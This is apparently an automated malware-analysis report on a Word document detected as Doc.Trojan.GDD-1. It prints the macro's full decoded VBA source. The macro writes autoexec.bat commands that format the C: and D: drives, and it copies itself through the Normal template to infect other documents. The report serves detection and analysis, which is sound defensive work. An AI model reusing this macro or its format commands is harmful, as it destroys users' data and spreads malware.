MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains a VBA macro that executes upon opening the document. This macro writes commands to 'c:\autoexec.bat' that will attempt to format the C: and D: drives with the label 'FUCK'. This is a destructive action intended to render the system unusable.
Heuristics 3
-
ClamAV: Doc.Trojan.GDD-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.GDD-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1455 bytes |
SHA-256: 59b5669555adcb9a622f20ecb595638e48ef47736214ac93ae639629e7394d1e |
|||
|
Detection
ClamAV:
Doc.Trojan.GDD-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' it is a good day to die
Private Sub Document_Open()
On Error Resume Next
If Date > #6/1/01# Then
Open "c:\autoexec.bat" For Output As #1
Print #1, "@echo off"
Print #1, "break = off"
Print #1, "echo Y | c:\windows\command\format c: /v:FUCK"
Print #1, "echo Y | c:\windows\command\format d: /v:FUCK"
Close #1
End If
Application.Options.VirusProtection = True
With Application.VBE.VBProjects.Item("Normal").VBComponents.Item("ThisDocument").CodeModule
If .Lines(1, 1) <> "' it is a good day to die" Then
.DeleteLines 1, .CountOfLines
.AddFromString ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.CountOfLines)
End If
End With
With ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule
If .Lines(1, 1) <> "' it is a good day to die" Then
.DeleteLines 1, .CountOfLines
.AddFromString Application.VBE.VBProjects.Item("Normal").VBComponents.Item("ThisDocument").CodeModule.Lines(1, Application.VBE.VBProjects.Item("Normal").VBComponents.Item("ThisDocument").CodeModule.CountOfLines)
End If
End With
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.